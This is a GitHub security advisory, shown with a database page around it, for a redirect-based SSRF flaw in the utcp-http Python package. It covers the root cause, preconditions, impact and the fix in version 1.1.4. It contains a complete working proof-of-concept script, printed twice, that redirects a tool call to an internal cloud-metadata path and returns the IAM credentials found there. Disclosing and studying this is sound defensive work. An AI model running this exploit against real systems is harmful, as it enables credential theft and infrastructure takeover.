GHSA-9QHG-99WW-9MQC
Vulnerability from github – Published: 2026-08-25 15:48 – Updated: 2026-08-25 15:48Summary
HttpCommunicationProtocol.call_tool validates only the pre-redirect tool URL, then issues the request with redirects enabled and never re-checks where it lands. A tool whose endpoint is an attacker-controlled public URL can therefore 302-redirect the UTCP client into an internal service including the cloud metadata endpoint and the response body is returned to the tool caller. This is a working SSRF + internal-data-exfiltration primitive.
This is the redirect invariant of the SSRF class fixed in GHSA-39j6-4867-gg4w; that fix added an invocation-time URL check but left the redirect hop unguarded. This vector bypasses the GHSA-39j6-4867-gg4w mitigation via unvalidated redirects.
Root cause
- The resolved URL is validated once, before the request:
https://github.com/universal-tool-calling-protocol/python-utcp/blob/4ed0a48b84a452338bd3e996efb0d169e8d75ac2/plugins/communication_protocols/http/src/utcp_http/http_communication_protocol.py#L281
- The request is then made with aiohttp's default
allow_redirects=Trueand no per-hop revalidation, so the redirect target bypasses the check entirely:
https://github.com/universal-tool-calling-protocol/python-utcp/blob/4ed0a48b84a452338bd3e996efb0d169e8d75ac2/plugins/communication_protocols/http/src/utcp_http/http_communication_protocol.py#L313-L332
The validator (_security.py) blocks plain-HTTP to non-loopback hosts, exactly the metadata/internal case, but only the first hop ever reaches it.
Reachability
Triggered whenever the host registers a tool/manual whose endpoint URL is attacker-influenced (e.g. a manual or OpenAPI spec discovered from a runtime-supplied URL: a core UTCP usage pattern) and that tool is then called. The initial URL only has to pass the validator (any https://, or a benign host the attacker controls); the attacker's server supplies the redirect. No special configuration is required.
Preconditions
- The attacker controls the server the tool points at - either the registered tool/manual endpoint URL is attacker-influenced (e.g. a manual/OpenAPI spec discovered from a runtime-supplied URL), or a legitimate endpoint the tool already points at is attacker-controlled or compromised.
- The initial tool URL passes
ensure_secure_url— trivially met by anyhttps://URL or a benign attacker-owned host; the attacker only needs to return a3xxLocation. - The tool is invoked (
call_tool) after registration. - An internal HTTP service is reachable from the UTCP process and returns useful data on an unauthenticated
GET(cloud metadata, internal admin panel, unauth datastore, link-local endpoint). - The tool's return value is surfaced back to the caller/agent (the usual agentic flow), giving the attacker the response body.
- For the IAM-credential outcome specifically: the host runs on a cloud instance with IMDSv1 enabled. IMDSv2-only hosts block this exact result (it needs a
PUTfor a session token), but other internal-SSRF targets remain reachable.
PoC
The validator rejects the internal targets directly, but the redirect from an allowed tool URL reaches one anyway and returns its body. Runs the real released HttpCommunicationProtocol; the "metadata" service is bound on a non-loopback LAN IP, which the validator rejects exactly like 169.254.169.254.
Run: pip install utcp-http==1.1.3 aiohttp && python poc.py
import asyncio, socket
from aiohttp import web
from utcp_http.http_communication_protocol import HttpCommunicationProtocol
from utcp_http.http_call_template import HttpCallTemplate
MD = "/latest/meta-data/iam/security-credentials/app-role"
STOLEN = {"Code": "Success", "AccessKeyId": "ASIAEXAMPLESTOLENKEY",
"SecretAccessKey": "wJalr/EXAMPLE/STOLEN/SECRET", "Token": "Fwo...session"}
def lan_ip():
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try: s.connect(("8.8.8.8", 80)); return s.getsockname()[0]
finally: s.close()
async def main():
internal = lan_ip()
meta = web.Application(); meta.router.add_get(MD, lambda r: web.json_response(STOLEN))
mr = web.AppRunner(meta, access_log=None); await mr.setup()
ms = web.TCPSite(mr, "0.0.0.0", 0); await ms.start()
internal_url = f"http://{internal}:{ms._server.sockets[0].getsockname()[1]}{MD}"
atk = web.Application()
atk.router.add_get("/tool", lambda r: web.Response(status=302, headers={"Location": internal_url}))
ar = web.AppRunner(atk, access_log=None); await ar.setup()
as_ = web.TCPSite(ar, "127.0.0.1", 0); await as_.start()
tool_url = f"http://127.0.0.1:{as_._server.sockets[0].getsockname()[1]}/tool"
proto = HttpCommunicationProtocol()
ct = HttpCallTemplate(name="lookup", url=tool_url, http_method="GET") # passes the validator
result = await proto.call_tool(None, "lookup", {}, ct) # follows 302 -> internal
print("caller received:", result)
await ar.cleanup(); await mr.cleanup()
asyncio.run(main())
Output:
caller received: {'Code': 'Success', 'AccessKeyId': 'ASIAEXAMPLESTOLENKEY', 'SecretAccessKey': 'wJalr/EXAMPLE/STOLEN/SECRET', 'Token': 'Fwo...session'}
Impact
Blind-to-readable SSRF from the UTCP host's network position, with the internal response handed back to the caller. On a cloud instance with IMDSv1 this yields the instance role's IAM credentials (as shown), i.e. infrastructure takeover; more generally it reaches internal HTTP services (admin panels, unauth datastores, link-local endpoints) that the validator is specifically meant to block.
Possible fix
Disable automatic redirects for tool invocation (allow_redirects=False) and, if redirects must be supported, re-run ensure_secure_url on every hop's Location before following it. Resolving the host and rejecting private/link-local/loopback IPs (not just plain-HTTP non-loopback) closes the residual https://-to-internal case as well.
Patched
Fixed in utcp-http 1.1.4. _security.py now ships
safe_request_with_redirects, a per-hop revalidator that disables
aiohttp's auto-follow, runs ensure_secure_url on every Location
header before issuing the next hop, caps the chain at 5 hops, and drops
the body on 303 per RFC 7231. The HTTP, SSE, and streamable-HTTP
plugins use it for both register_manual and call_tool; SSE +
streamable handshakes additionally reject any 3xx outright because the
streaming response has to stay open for the lifetime of the call. The
OAuth2 token-fetch path uses the same helper, closing the
redirect-on-token-URL variant.
The sister TypeScript implementation @utcp/http is fixed the same way
in 1.1.4.
Upgrade to utcp-http >= 1.1.4. No workaround in earlier versions
short of disabling all attacker-influenced manuals.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.1.3"
},
"package": {
"ecosystem": "PyPI",
"name": "utcp-http"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.1.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-25T15:48:51Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\n`HttpCommunicationProtocol.call_tool` validates only the pre-redirect tool URL, then issues the request with redirects enabled and never re-checks where it lands. A tool whose endpoint is an attacker-controlled public URL can therefore `302`-redirect the UTCP client into an internal service including the cloud metadata endpoint and the response body is returned to the tool caller. This is a working SSRF + internal-data-exfiltration primitive.\n\nThis is the redirect invariant of the SSRF class fixed in GHSA-39j6-4867-gg4w; that fix added an invocation-time URL check but left the redirect hop unguarded. This vector bypasses the GHSA-39j6-4867-gg4w mitigation via unvalidated redirects.\n\n## Root cause\n\n1. The resolved URL is validated once, before the request:\n\nhttps://github.com/universal-tool-calling-protocol/python-utcp/blob/4ed0a48b84a452338bd3e996efb0d169e8d75ac2/plugins/communication_protocols/http/src/utcp_http/http_communication_protocol.py#L281\n\n2. The request is then made with aiohttp\u0027s default `allow_redirects=True` and no\n per-hop revalidation, so the redirect target bypasses the check entirely:\n\nhttps://github.com/universal-tool-calling-protocol/python-utcp/blob/4ed0a48b84a452338bd3e996efb0d169e8d75ac2/plugins/communication_protocols/http/src/utcp_http/http_communication_protocol.py#L313-L332\n\nThe validator (`_security.py`) blocks plain-HTTP to non-loopback hosts, exactly the metadata/internal case, but only the first hop ever reaches it.\n\n## Reachability\n\nTriggered whenever the host registers a tool/manual whose endpoint URL is attacker-influenced (e.g. a manual or OpenAPI spec discovered from a runtime-supplied URL: a core UTCP usage pattern) and that tool is then called. The initial URL only has to pass the validator (any `https://`, or a benign host the attacker controls); the attacker\u0027s server supplies the redirect. No special configuration is required.\n\n## Preconditions\n\n- The attacker controls the server the tool points at - either the registered tool/manual endpoint URL is attacker-influenced (e.g. a manual/OpenAPI spec discovered from a runtime-supplied URL), or a legitimate endpoint the tool already points at is attacker-controlled or compromised.\n- The initial tool URL passes `ensure_secure_url` \u00e2\u20ac\u201d trivially met by any `https://` URL or a benign attacker-owned host; the attacker only needs to return a `3xx` `Location`.\n- The tool is invoked (`call_tool`) after registration.\n- An internal HTTP service is reachable from the UTCP process and returns useful data on an unauthenticated `GET` (cloud metadata, internal admin panel, unauth datastore, link-local endpoint).\n- The tool\u0027s return value is surfaced back to the caller/agent (the usual agentic flow), giving the attacker the response body.\n- For the IAM-credential outcome specifically: the host runs on a cloud instance with **IMDSv1** enabled. IMDSv2-only hosts block this exact result (it needs a `PUT` for a session token), but other internal-SSRF targets remain reachable.\n\n## PoC\n\nThe validator rejects the internal targets directly, but the redirect from an allowed tool URL reaches one anyway and returns its body. Runs the real released `HttpCommunicationProtocol`; the \"metadata\" service is bound on a non-loopback LAN IP, which the validator rejects exactly like `169.254.169.254`.\n\nRun: `pip install utcp-http==1.1.3 aiohttp \u0026\u0026 python poc.py`\n\n```python\nimport asyncio, socket\nfrom aiohttp import web\nfrom utcp_http.http_communication_protocol import HttpCommunicationProtocol\nfrom utcp_http.http_call_template import HttpCallTemplate\n\nMD = \"/latest/meta-data/iam/security-credentials/app-role\"\nSTOLEN = {\"Code\": \"Success\", \"AccessKeyId\": \"ASIAEXAMPLESTOLENKEY\",\n \"SecretAccessKey\": \"wJalr/EXAMPLE/STOLEN/SECRET\", \"Token\": \"Fwo...session\"}\n\ndef lan_ip():\n s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n try: s.connect((\"8.8.8.8\", 80)); return s.getsockname()[0]\n finally: s.close()\n\nasync def main():\n internal = lan_ip()\n meta = web.Application(); meta.router.add_get(MD, lambda r: web.json_response(STOLEN))\n mr = web.AppRunner(meta, access_log=None); await mr.setup()\n ms = web.TCPSite(mr, \"0.0.0.0\", 0); await ms.start()\n internal_url = f\"http://{internal}:{ms._server.sockets[0].getsockname()[1]}{MD}\"\n\n atk = web.Application()\n atk.router.add_get(\"/tool\", lambda r: web.Response(status=302, headers={\"Location\": internal_url}))\n ar = web.AppRunner(atk, access_log=None); await ar.setup()\n as_ = web.TCPSite(ar, \"127.0.0.1\", 0); await as_.start()\n tool_url = f\"http://127.0.0.1:{as_._server.sockets[0].getsockname()[1]}/tool\"\n\n proto = HttpCommunicationProtocol()\n ct = HttpCallTemplate(name=\"lookup\", url=tool_url, http_method=\"GET\") # passes the validator\n result = await proto.call_tool(None, \"lookup\", {}, ct) # follows 302 -\u003e internal\n print(\"caller received:\", result)\n await ar.cleanup(); await mr.cleanup()\n\nasyncio.run(main())\n```\n\nOutput:\n\n```\ncaller received: {\u0027Code\u0027: \u0027Success\u0027, \u0027AccessKeyId\u0027: \u0027ASIAEXAMPLESTOLENKEY\u0027, \u0027SecretAccessKey\u0027: \u0027wJalr/EXAMPLE/STOLEN/SECRET\u0027, \u0027Token\u0027: \u0027Fwo...session\u0027}\n```\n\n## Impact\n\nBlind-to-readable SSRF from the UTCP host\u0027s network position, with the internal response handed back to the caller. On a cloud instance with IMDSv1 this yields the instance role\u0027s IAM credentials (as shown), i.e. infrastructure takeover; more generally it reaches internal HTTP services (admin panels, unauth datastores, link-local endpoints) that the validator is specifically meant to block.\n\n## Possible fix\n\nDisable automatic redirects for tool invocation (`allow_redirects=False`) and, if redirects must be supported, re-run `ensure_secure_url` on every hop\u0027s `Location` before following it. Resolving the host and rejecting private/link-local/loopback IPs (not just plain-HTTP non-loopback) closes the residual `https://`-to-internal case as well.\n\n## Patched\n\nFixed in `utcp-http` 1.1.4. `_security.py` now ships\n`safe_request_with_redirects`, a per-hop revalidator that disables\naiohttp\u0027s auto-follow, runs `ensure_secure_url` on every `Location`\nheader before issuing the next hop, caps the chain at 5 hops, and drops\nthe body on 303 per RFC 7231. The HTTP, SSE, and streamable-HTTP\nplugins use it for both `register_manual` and `call_tool`; SSE +\nstreamable handshakes additionally reject any 3xx outright because the\nstreaming response has to stay open for the lifetime of the call. The\nOAuth2 token-fetch path uses the same helper, closing the\nredirect-on-token-URL variant.\n\nThe sister TypeScript implementation `@utcp/http` is fixed the same way\nin 1.1.4.\n\nUpgrade to `utcp-http \u003e= 1.1.4`. No workaround in earlier versions\nshort of disabling all attacker-influenced manuals.",
"id": "GHSA-9qhg-99ww-9mqc",
"modified": "2026-08-25T15:48:51Z",
"published": "2026-08-25T15:48:51Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/universal-tool-calling-protocol/python-utcp/security/advisories/GHSA-9qhg-99ww-9mqc"
},
{
"type": "WEB",
"url": "https://github.com/universal-tool-calling-protocol/python-utcp/commit/fc3268e2a62e1181f91a63faf0a9bcee7639db29"
},
{
"type": "PACKAGE",
"url": "https://github.com/universal-tool-calling-protocol/python-utcp"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "utcp-http SSRF: HTTP tool invocation follows redirects without re-validating the target"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.